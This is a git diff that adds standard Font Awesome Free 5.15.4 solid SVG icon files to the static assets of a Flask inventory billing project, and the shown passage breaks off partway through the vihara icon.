Flask/static/font-awesome/svgs/solid/user-tag.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-tag.svg new file mode 100644 index 00000000..fdb6cde8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-tag.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M630.6 364.9l-90.3-90.2c-12-12-28.3-18.7-45.3-18.7h-79.3c-17.7 0-32 14.3-32 32v79.2c0 17 6.7 33.2 18.7 45.2l90.3 90.2c12.5 12.5 32.8 12.5 45.3 0l92.5-92.5c12.6-12.5 12.6-32.7.1-45.2zm-182.8-21c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24c0 13.2-10.7 24-24 24zm-223.8-88c70.7 0 128-57.3 128-128C352 57.3 294.7 0 224 0S96 57.3 96 128c0 70.6 57.3 127.9 128 127.9zm127.8 111.2V294c-12.2-3.6-24.9-6.2-38.2-6.2h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 287.9 0 348.1 0 422.3v41.6c0 26.5 21.5 48 48 48h352c15.5 0 29.1-7.5 37.9-18.9l-58-58c-18.1-18.1-28.1-42.2-28.1-67.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-tie.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-tie.svg new file mode 100644 index 00000000..503ff5b9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-tie.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm95.8 32.6L272 480l-32-136 32-56h-96l32 56-32 136-47.8-191.4C56.9 292 0 350.3 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-72.1-56.9-130.4-128.2-133.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-times.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-times.svg new file mode 100644 index 00000000..7c0d7e83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user-times.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M589.6 240l45.6-45.6c6.3-6.3 6.3-16.5 0-22.8l-22.8-22.8c-6.3-6.3-16.5-6.3-22.8 0L544 194.4l-45.6-45.6c-6.3-6.3-16.5-6.3-22.8 0l-22.8 22.8c-6.3 6.3-6.3 16.5 0 22.8l45.6 45.6-45.6 45.6c-6.3 6.3-6.3 16.5 0 22.8l22.8 22.8c6.3 6.3 16.5 6.3 22.8 0l45.6-45.6 45.6 45.6c6.3 6.3 16.5 6.3 22.8 0l22.8-22.8c6.3-6.3 6.3-16.5 0-22.8L589.6 240zM224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user.svg new file mode 100644 index 00000000..46719676 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/user.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-cog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-cog.svg new file mode 100644 index 00000000..65709893 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-cog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M610.5 341.3c2.6-14.1 2.6-28.5 0-42.6l25.8-14.9c3-1.7 4.3-5.2 3.3-8.5-6.7-21.6-18.2-41.2-33.2-57.4-2.3-2.5-6-3.1-9-1.4l-25.8 14.9c-10.9-9.3-23.4-16.5-36.9-21.3v-29.8c0-3.4-2.4-6.4-5.7-7.1-22.3-5-45-4.8-66.2 0-3.3.7-5.7 3.7-5.7 7.1v29.8c-13.5 4.8-26 12-36.9 21.3l-25.8-14.9c-2.9-1.7-6.7-1.1-9 1.4-15 16.2-26.5 35.8-33.2 57.4-1 3.3.4 6.8 3.3 8.5l25.8 14.9c-2.6 14.1-2.6 28.5 0 42.6l-25.8 14.9c-3 1.7-4.3 5.2-3.3 8.5 6.7 21.6 18.2 41.1 33.2 57.4 2.3 2.5 6 3.1 9 1.4l25.8-14.9c10.9 9.3 23.4 16.5 36.9 21.3v29.8c0 3.4 2.4 6.4 5.7 7.1 22.3 5 45 4.8 66.2 0 3.3-.7 5.7-3.7 5.7-7.1v-29.8c13.5-4.8 26-12 36.9-21.3l25.8 14.9c2.9 1.7 6.7 1.1 9-1.4 15-16.2 26.5-35.8 33.2-57.4 1-3.3-.4-6.8-3.3-8.5l-25.8-14.9zM496 368.5c-26.8 0-48.5-21.8-48.5-48.5s21.8-48.5 48.5-48.5 48.5 21.8 48.5 48.5-21.7 48.5-48.5 48.5zM96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm224 32c1.9 0 3.7-.5 5.6-.6 8.3-21.7 20.5-42.1 36.3-59.2 7.4-8 17.9-12.6 28.9-12.6 6.9 0 13.7 1.8 19.6 5.3l7.9 4.6c.8-.5 1.6-.9 2.4-1.4 7-14.6 11.2-30.8 11.2-48 0-61.9-50.1-112-112-112S208 82.1 208 144c0 61.9 50.1 112 112 112zm105.2 194.5c-2.3-1.2-4.6-2.6-6.8-3.9-8.2 4.8-15.3 9.8-27.5 9.8-10.9 0-21.4-4.6-28.9-12.6-18.3-19.8-32.3-43.9-40.2-69.6-10.7-34.5 24.9-49.7 25.8-50.3-.1-2.6-.1-5.2 0-7.8l-7.9-4.6c-3.8-2.2-7-5-9.8-8.1-3.3.2-6.5.6-9.8.6-24.6 0-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h255.4c-3.7-6-6.2-12.8-6.2-20.3v-9.2zM173.1 274.6C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-slash.svg new file mode 100644 index 00000000..156e36a9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M132.65,212.32,36.21,137.78A63.4,63.4,0,0,0,32,160a63.84,63.84,0,0,0,100.65,52.32Zm40.44,62.28A63.79,63.79,0,0,0,128,256H64A64.06,64.06,0,0,0,0,320v32a32,32,0,0,0,32,32H97.91A146.62,146.62,0,0,1,173.09,274.6ZM544,224a64,64,0,1,0-64-64A64.06,64.06,0,0,0,544,224ZM500.56,355.11a114.24,114.24,0,0,0-84.47-65.28L361,247.23c41.46-16.3,71-55.92,71-103.23A111.93,111.93,0,0,0,320,32c-57.14,0-103.69,42.83-110.6,98.08L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45ZM128,403.21V432a48,48,0,0,0,48,48H464a47.45,47.45,0,0,0,12.57-1.87L232,289.13C173.74,294.83,128,343.42,128,403.21ZM576,256H512a63.79,63.79,0,0,0-45.09,18.6A146.29,146.29,0,0,1,542,384h66a32,32,0,0,0,32-32V320A64.06,64.06,0,0,0,576,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users.svg new file mode 100644 index 00000000..51eeeddc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/users.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 224c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm448 0c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm32 32h-64c-17.6 0-33.5 7.1-45.1 18.6 40.3 22.1 68.9 62 75.1 109.4h66c17.7 0 32-14.3 32-32v-32c0-35.3-28.7-64-64-64zm-256 0c61.9 0 112-50.1 112-112S381.9 32 320 32 208 82.1 208 144s50.1 112 112 112zm76.8 32h-8.3c-20.8 10-43.9 16-68.5 16s-47.6-6-68.5-16h-8.3C179.6 288 128 339.6 128 403.2V432c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48v-28.8c0-63.6-51.6-115.2-115.2-115.2zm-223.7-13.4C161.5 263.1 145.6 256 128 256H64c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32h65.9c6.3-47.4 34.9-87.3 75.2-109.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensil-spoon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensil-spoon.svg new file mode 100644 index 00000000..f4fae1ce --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensil-spoon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480.1 31.9c-55-55.1-164.9-34.5-227.8 28.5-49.3 49.3-55.1 110-28.8 160.4L9 413.2c-11.6 10.5-12.1 28.5-1 39.5L59.3 504c11 11 29.1 10.5 39.5-1.1l192.4-214.4c50.4 26.3 111.1 20.5 160.4-28.8 63-62.9 83.6-172.8 28.5-227.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensils.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensils.svg new file mode 100644 index 00000000..89e023cb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/utensils.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 416 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M207.9 15.2c.8 4.7 16.1 94.5 16.1 128.8 0 52.3-27.8 89.6-68.9 104.6L168 486.7c.7 13.7-10.2 25.3-24 25.3H80c-13.7 0-24.7-11.5-24-25.3l12.9-238.1C27.7 233.6 0 196.2 0 144 0 109.6 15.3 19.9 16.1 15.2 19.3-5.1 61.4-5.4 64 16.3v141.2c1.3 3.4 15.1 3.2 16 0 1.4-25.3 7.9-139.2 8-141.8 3.3-20.8 44.7-20.8 47.9 0 .2 2.7 6.6 116.5 8 141.8.9 3.2 14.8 3.4 16 0V16.3c2.6-21.6 44.8-21.4 48-1.1zm119.2 285.7l-15 185.1c-1.2 14 9.9 26 23.9 26h56c13.3 0 24-10.7 24-24V24c0-13.2-10.7-24-24-24-82.5 0-221.4 178.5-64.9 300.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vector-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vector-square.svg new file mode 100644 index 00000000..b0a3ba95 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vector-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 128V32c0-17.67-14.33-32-32-32h-96c-17.67 0-32 14.33-32 32H160c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v96c0 17.67 14.33 32 32 32v192c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32h192c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32V160c17.67 0 32-14.33 32-32zm-96-64h32v32h-32V64zM64 64h32v32H64V64zm32 384H64v-32h32v32zm352 0h-32v-32h32v32zm-32-96h-32c-17.67 0-32 14.33-32 32v32H160v-32c0-17.67-14.33-32-32-32H96V160h32c17.67 0 32-14.33 32-32V96h192v32c0 17.67 14.33 32 32 32h32v192z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-double.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-double.svg new file mode 100644 index 00000000..54f3d1f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-double.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80zm336 140.4V368h36c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-36v36c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-36h-36c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h36v-51.6c-21.2-4.8-40.6-14.3-57.2-27.3 14-16.7 25-36 32.1-57.1 14.5 14.8 34.7 24 57.1 24 44.1 0 80-35.9 80-80s-35.9-80-80-80c-22.3 0-42.6 9.2-57.1 24-7.1-21.1-18-40.4-32.1-57.1C303.4 43.6 334.3 32 368 32c79.5 0 144 64.5 144 144 0 68.5-47.9 125.9-112 140.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-mars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-mars.svg new file mode 100644 index 00000000..17cc896b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus-mars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M564 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C422.5 72.1 396.2 64 368 64c-33.7 0-64.6 11.6-89.2 30.9 14 16.7 25 36 32.1 57.1 14.5-14.8 34.7-24 57.1-24 44.1 0 80 35.9 80 80s-35.9 80-80 80c-22.3 0-42.6-9.2-57.1-24-7.1 21.1-18 40.4-32.1 57.1 24.5 19.4 55.5 30.9 89.2 30.9 79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 64C64.5 64 0 128.5 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.6 112-71.9 112-140.4 0-79.5-64.5-144-144-144zm0 224c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus.svg new file mode 100644 index 00000000..160c7e63 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/venus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 176c0-79.5-64.5-144-144-144S0 96.5 0 176c0 68.5 47.9 125.9 112 140.4V368H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest-patches.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest-patches.svg new file mode 100644 index 00000000..ea174265 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest-patches.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a23.982,23.982,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A23.982,23.982,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.561A151.579,151.579,0,0,0,224,86.234a151.565,151.565,0,0,0,73.811-19.668L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM63.5,272.484a12.01,12.01,0,0,1,17-16.968l15.5,15.5,15.5-15.5a12.01,12.01,0,0,1,17,16.968L112.984,288,128.5,303.516a12.01,12.01,0,0,1-17,16.968L96,304.984l-15.5,15.5a12.01,12.01,0,0,1-17-16.968L79.016,288ZM96,456a40,40,0,1,1,40-40A40,40,0,0,1,96,456ZM359.227,335.785,310.7,336a6.671,6.671,0,0,1-6.7-6.7l.215-48.574A24.987,24.987,0,0,1,331.43,256.1c12.789,1.162,22.129,12.619,22.056,25.419l-.037,5.057,5.051-.037c12.826-.035,24.236,9.275,25.4,22.076A24.948,24.948,0,0,1,359.227,335.785Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest.svg new file mode 100644 index 00000000..d66301a8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vest.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M437.252,239.877,384,160V32A32,32,0,0,0,352,0H320a24.021,24.021,0,0,0-13.312,4.031l-25,16.672a103.794,103.794,0,0,1-115.376,0l-25-16.672A24.021,24.021,0,0,0,128,0H96A32,32,0,0,0,64,32V160L10.748,239.877A64,64,0,0,0,0,275.377V480a32,32,0,0,0,32,32H192V288a31.987,31.987,0,0,1,1.643-10.119L207.135,237.4,150.188,66.564A151.518,151.518,0,0,0,224,86.234a151.55,151.55,0,0,0,73.812-19.672L224,288V512H416a32,32,0,0,0,32-32V275.377A64,64,0,0,0,437.252,239.877ZM131.312,371.312l-48,48a16,16,0,0,1-22.624-22.624l48-48a16,16,0,0,1,22.624,22.624Zm256,48a15.992,15.992,0,0,1-22.624,0l-48-48a16,16,0,0,1,22.624-22.624l48,48A15.993,15.993,0,0,1,387.312,419.312Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vial.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vial.svg new file mode 100644 index 00000000..0dffa5b5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vial.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M477.7 186.1L309.5 18.3c-3.1-3.1-8.2-3.1-11.3 0l-34 33.9c-3.1 3.1-3.1 8.2 0 11.3l11.2 11.1L33 316.5c-38.8 38.7-45.1 102-9.4 143.5 20.6 24 49.5 36 78.4 35.9 26.4 0 52.8-10 72.9-30.1l246.3-245.7 11.2 11.1c3.1 3.1 8.2 3.1 11.3 0l34-33.9c3.1-3 3.1-8.1 0-11.2zM318 256H161l148-147.7 78.5 78.3L318 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vials.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vials.svg new file mode 100644 index 00000000..8cbe95b2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vials.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M72 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H72c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64zm480 384H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM360 64h24v240c0 44.1 35.9 80 80 80s80-35.9 80-80V64h24c4.4 0 8-3.6 8-8V8c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8zm72 0h64v96h-64V64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video-slash.svg new file mode 100644 index 00000000..7e42ab4f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video.svg new file mode 100644 index 00000000..92f4988a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/video.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336.2 64H47.8C21.4 64 0 85.4 0 111.8v288.4C0 426.6 21.4 448 47.8 448h288.4c26.4 0 47.8-21.4 47.8-47.8V111.8c0-26.4-21.4-47.8-47.8-47.8zm189.4 37.7L416 177.3v157.4l109.6 75.5c21.2 14.6 50.4-.3 50.4-25.8V127.5c0-25.4-29.1-40.4-50.4-25.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vihara.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vihara.svg new file mode 100644 index 00000000..38466965 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/vihara.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 